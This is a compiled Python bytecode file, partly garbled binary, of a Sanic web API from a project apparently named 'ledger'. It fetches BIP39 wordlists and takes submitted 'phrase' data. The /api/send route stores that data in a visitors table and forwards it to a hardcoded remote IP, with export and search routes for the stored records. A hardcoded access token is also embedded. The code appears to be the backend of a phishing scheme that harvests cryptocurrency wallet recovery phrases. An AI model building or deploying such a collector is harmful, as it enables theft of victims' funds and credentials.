
    Q%hT4                     t    d dl mZmZmZ d dlmZ d dlmZ d dlZd dl	Z	d dl
Z
d dlmZ d dlmZ  G d d      Zy)	    )Sanicrequestresponse)TranslationService)DatabaseManagerN)Unauthorized)datetimec                   "    e Zd ZdedefdZd Zy)APIappdbc                 Z    t               | _        || _        || _        d| _        d| _        y )N`AD9U1JVCwYsl43EtQyvQLz9u6KuEQjLM3LOHmxfqeTtbk0QrxkFhBgpXkOJQ42sVF8J3xc5VZusvloi12pz6dcY3Mct3Ehwiz45.11.59.247:8000)r   
translatorr   r   access_tokenserverip)selfr   r   s      LC:\Users\james\Desktop\root\other\Misc\Work\ledger\server\api\api_service.py__init__zAPI.__init__   s,    .@.B#% "D0    c                      j                   j                  d      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd	       } j                   j	                  d
dg      dt        j                  fd       } j                   j	                  ddg      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd       } j                   j	                  ddg      dt        j                  f fd       }	y )Nr   c                 L  K   | j                   j                  d      r| j                   dk(  ry | j                  j                  d      }|rY|j                  d      rH	 t	        j
                  |j                  d      d         j                  d      }|j                  k(  ry 	 | j                  j                  d	      }|st        d
      j                  j                  dd|i       d {   }|r|d   d   st        d      y # t        $ r t        d      w xY w7 2w)Nz/api/api/generate_keyAuthorizationBasic     utf-8Invalid authorization headerz	X-API-KeyzAPI key requiredapi_keysapi_key
table_name	conditionr   activezInvalid or inactive API key)path
startswithheadersgetbase64	b64decodesplitdecoder   	Exceptionr   r   get_rows)r   auth_headertokenr!   resultr   s        r   authenticatez)API.register_routes.<locals>.authenticate   s&    <<**62gllFY6Y!//--o>K{55h?G",,[->->s-CA-FGNNwWE 1 11 2
 oo))+6G"#56677++%$g. ,  F 8!4"#@AA "5 ! G&'EFFGs,   AD$AD
 #AD$/D"0D$
DD$r   POST)methodsreqc                    K   | j                   }|rd|vrt        j                   dddd      S |d   }|st        j                   dddd      S j                  j                  d|d	d
       d {   }|rt        j                   |d   d   dd      S t	        j
                  d      }j                  j                  d||d	d       d {   }|st        j                   dddd      S t        j                   d|i      S 7 7 9w)NipFz#IP address required in request bodysuccesserror  statuszIP address cannot be emptyr    T)r8   r%   r"   r   r!   z*API key already exists for this IP address)r!   message    )r!   r8   r%   )r#   datazFailed to generate API key  )jsonr   r   r/   secretstoken_urlsafeupsert)r6   rA   r8   existing_keysr!   r:   r   s         r   generate_api_keyz-API.register_routes.<locals>.generate_api_key-   s,    88D4t+}}Af%gpsttdB}}A]%^gjkk"&''"2"2%!#t4 #3 # M }},Q/	:K&  
 ++B/G GGNN%&" +  G }}A]%^gjkk==7"  /s%   A1D4D
5ADD8DDz/api/translatec                   K   	 | j                   }|j                  d      }|j                  dd      }t        |t              r%j                  j                  ||       d {   }n$j                  j                  ||       d {   }t        j                   d|i      S 7 @7 # t        $ r-}t        j                   dt        |      dd      cY d }~S d }~ww xY ww)	Ntexttarget_langestranslated_textFr9   rB   r=   )
rC   r)   
isinstancelistr   translate_list	translater   r.   str)r6   rA   rJ   rK   rM   er   s         r   rQ   z&API.register_routes.<locals>.translateQ   s     Vxxxx'"hh}d;dD),0OO,J,J4Q\,]&]O,0OO,E,EdK,X&XO}}&7%IJJ	 '^&X  V}}Q%HQTUUVsY   C!AB( #B$$$B( B&	B( #C!$B( &B( (	C1"CCC!CC!z
/api/bip39GETc                 $  K   	 | j                   j                  dd      }d| d}t        j                         4 d {   }|j                  |       d {   }d d d       d {    j                  dk(  r#t        j                  |j                               S t        j                  dd| dd	d
      S 7 }7 f7 X# 1 d {  7  sw Y   hxY w# t        $ r-}t        j                  dt        |      d	d      cY d }~S d }~ww xY ww)NlangenglishzGhttps://raw.githubusercontent.com/bitcoinjs/bip39/master/src/wordlists/z.json   FzFailed to fetch wordlist for ''r9     r=   rB   )	argsr)   httpxAsyncClientstatus_coder   rC   r.   rR   )r6   rV   urlclientresrS   s         r   bip39z"API.register_routes.<locals>.bip39a   s     Vxx||FI6_`d_eejk ,,. 0 0& &

3/C0 0 ??c)#==44#==UGefjekklEm)nwz{{0/0 0 0 0  V}}Q%HQTUUVs   D:C B<C CB>CC 'C (5C DC ;D<C >C C CC	CC 	D "DDDDDz	/api/sendc           
      \  K   	 | j                   }| j                  }| j                  j                  d      }| d| }|j                  d      }|j                  dd       }|j                  dd       }|j                  dd       }|j                  dd      }	|r|sTg }
|s|
j	                  d       |s|
j	                  d       t        j                   d	d
dj                  |
       dd      S |j                  dd       }|st        j                   d	ddd      S d }t        |t              st        j                   d	ddd      S dgt        fd|j                         D              }d}|r]|j                         D ci c]  \  }}|v s|| }}}||d<    |       |d<   j                  j                  d||       d {   }|j                  d      r|j                  dd      }t!        j"                         4 d {   }|j%                  dj&                   d||||	|d       d {   }|j(                  dk7  r'd	}t+        d |j(                   d!|j,                          |r)t        j                   dd"d#      cd d d       d {    S t        j                   d	d$dd%      cd d d       d {    S c c}}w 7 7 7 7 =7 # 1 d {  7  sw Y   y xY w# t.        $ r-}t        j                   d	t1        |      dd%      cY d }~S d }~ww xY ww)&Nhostz://queryr$   r8   actionseverityLowFMissing , r9   r<   r=   incomingzMissing incoming datac                  L    t        j                         } | j                  d      S )Nz%Y-%m-%d %H:%M:%S)r	   nowstrftime)rm   s    r   get_sql_timestampz<API.register_routes.<locals>.post.<locals>.get_sql_timestamp   s    ",,.C<<(;<<r   z"Incoming data must be a dictionaryphrasec              3   &   K   | ]  }|v  
 y w)N ).0kupdate_keyss     r   	<genexpr>z4API.register_routes.<locals>.post.<locals>.<genexpr>   s     #NA$4#Ns   T
updated_atvisitorsr#   rA   r$   z	127.0.0.1	localhostzhttp://z/post)senderrk   rf   rg   r8   )rC   rX   zError: z - zData received successfully.r:   r?   zFailed to read data.rB   )rC   schemer(   r)   appendr   joinrN   dictanykeysitemsr   rF   __contains__replacer\   r]   postr   r^   printrJ   r.   rR   )r6   rA   protocolrd   r{   re   r$   r8   rf   rg   missing_fieldsrk   ro   should_updater:   rt   vsql_datar`   r   rS   ru   r   s                        @r   r   z!API.register_routes.<locals>.postr   s1    ;Vxx::{{v.!)
#dV4) HH[$7	YYtT*8T2 99Z7F%'N &--g6!&--h7#==UxPTPYPYZhPiOjEk)luxyy!&:t!<#==UE\)]fijj= "(D1#==UEi)jsvww'j ##Nhmmo#N N 191AVAQ+EU1VHV%'HTN->-@H\*$(GGNN#-%"+ %3 % G $$[1<<[AD ,,. 	n 	n&$*KK'$--0N`ft|  IO  ]e  mo  VpK  %q  qG**c1"'(;(;'<C~NO'}}Jg-hi	n 	n 	n  (}}I_-`ilm	n 	n 	n  W	n q	n 	n 	n 	n 	n  V}}Q%HQTUUVs  L,C*K3 0L,1-K3 L,,K3 L,<K3 KK3K3 K?K3 KK3 +K<K=AKK3 KK3 !L,"K;K3 KK3 L,K3 K3 KK3 K3 K0$K'%K0,K3 /L,0K3 3	L)<"L$L)L,$L))L,z/api/getc                   K   	 | j                   }|j                  dd       }|j                  dd       }|st        j                   dddd      S j                  j	                  d||	       d {   }|rt        j                   d
|d      S t        j                   dddd      S 7 8# t
        $ r-}t        j                   dt        |      dd      cY d }~S d }~ww xY ww)Nr$   limitFMissing conditionr9   r<   r=   rx   )r#   r$   r   Tr:   rA   No rows foundrZ   rB   )rC   r)   r   r   r/   r.   rR   )r6   rA   r$   r   r2   rS   r   s         r   r)   z API.register_routes.<locals>.get   s     Vxx HH[$7	$/ #==UEX)Ybeff#ww//)'  0   
 #==T6)JKK#==U_)U^abb  V}}Q%HQTUUVs_   C&AB- C&!B- 2B+3B- C&B- *C&+B- -	C#6"CC#C&C##C&z/api/exportc                 z  K   	 | j                   j                  d      }|r|j                  d      st        d      	 t	        j
                  |j                  d      d         j                  d      }|j                  k7  rt        d      	 j                  j                  d	       d {   }|rt        j                  d
|d      S t        j                  dddd      S # t        $ r t        d      w xY w7 P# t        $ r-}t        j                  dt        |      dd      cY d }~S d }~ww xY ww)Nr   r   Missing authorization headerr   r   r   r   rx   )r#   Tr   Fr   r9   rZ   r=   rB   )r(   r)   r'   r   r*   r+   r,   r-   r   r.   r   r/   r   rC   rR   )r6   r0   r1   r2   rS   r   s        r   exportz#API.register_routes.<locals>.export   s0    V!kkooo>"+*@*@*J&'EFFG",,[->->s-CA-FGNNwWE 1 11*+IJJ 2
  $ww//)  0    #==T6)JKK#==U_)U^abb ! G&'EFFG  V}}Q%HQTUUVsd   D;9D AC(  D /D 0D D;D 'D;(C==D 	D8"D3-D8.D;3D88D;z/api/searchc                   K   	 | j                   }|j                  dd       }|st        j                   dddd      S | j                  j                  d      }|r|j	                  d      st        d	      	 t        j                  |j                  d
      d         j                  d      }|j                  k7  rt        d      	 j                  j                  d|       d {   }|rt        j                   d|d      S t        j                   dddd      S # t        $ r t        d      w xY w7 P# t        $ r-}t        j                   dt        |      dd      cY d }~S d }~ww xY ww)Nre   Fr   r9   r<   r=   r   r   r   r   r   r   r   rx   )r#   search_valueTr   r   rZ   rB   )rC   r)   r   r(   r'   r   r*   r+   r,   r-   r   r.   r   search_tablerR   )r6   rA   re   r0   r1   r2   rS   r   s          r   searchz#API.register_routes.<locals>.search   sg    Vxx$/#==UEX)Ybeff!kkooo>"+*@*@*J&'EFFG",,[->->s-CA-FGNNwWE 1 11*+IJJ 2
  $ww33)!&  4    #==T6)JKK#==U_)U^abb ! G&'EFFG  V}}Q%HQTUUVso   E69D= E69D= 9AD# 	!D= *D;+D= E6	D= "E6#D88D= =	E3"E.(E3)E6.E33E6z/api/configc                   K   	 | j                   }|st        j                   dddd      S | j                  j                  d      }|r|j	                  d      st        d      	 t        j                  |j                  d	      d
         j                  d      }|	j                  k7  rt        d      	 |j                  d      }|j                  d      }||Tg }||j                  d       ||j                  d       t        j                   dddj                  |       dd      S 	j                  j                  d||idd
i       d {   }|st        j                   dddd      S t        j                   ddd      S # t        $ r t        d      w xY w7 P# t        $ r-}t        j                   dt!        |      dd      cY d }~S d }~ww xY ww)NFzData required in request bodyr9   r<   r=   r   r   r   r   r   r   r   keyvalueri   rj   configidry   zFailed to update configrB   TzConfig updated successfullyr|   )rC   r   r(   r)   r'   r   r*   r+   r,   r-   r   r.   r~   r   r   rF   rR   )
r6   rA   r0   r1   r   r   r   r:   rS   r   s
            r   r   z#API.register_routes.<locals>.config   s    %Vxx#==UEd)enqrr!kkooo>"+*@*@*J&'EFFG",,[->->s-CA-FGNNwWE 1 11*+IJJ 2
 hhuo);%-%'N{&--e4}&--g6#==UxPTPYPYZhPiOjEk)luxyy $'U  $Qi !/ !  #==UE^)_hkll}}B_%`aa/ ! G&'EFFG  V}}Q%HQTUUVs|   G#'F* G#9F* 'AF 7A:F* 1G#2%F* F(F* 7G#8F* G#F%%F* *	G 3"GG G#G  G#)r   
middlewarer   Requestroute)
r   r3   rH   rQ   rb   r   r)   r   r   r   s
   `         r   register_routeszAPI.register_routes   s   			Y	'	B 	B 
(	B2 
+fX	>!	 !	 
?!	F 
(6(	;	V 	V 
<	V 
ug	6	VW__ 	V 
7	V  
fX	6<	VGOO <	V 
7<	V| 

VH	5	V7?? 	V 
6	V* 
w	7	Vgoo 	V 
8	V. 
x	8	Vgoo 	V 
9	V: 
x	8&	Vgoo &	V 
9&	Vr   N)__name__
__module____qualname__r   r   r   r   rr   r   r   r   r   
   s    1E 1 1RVr   r   )sanicr   r   r   api.api_translater   database.handlerr   r\   rD   r*   sanic.exceptionsr   r	   r   rr   r   r   <module>r      s.    * * 0 ,    ) ZV ZVr   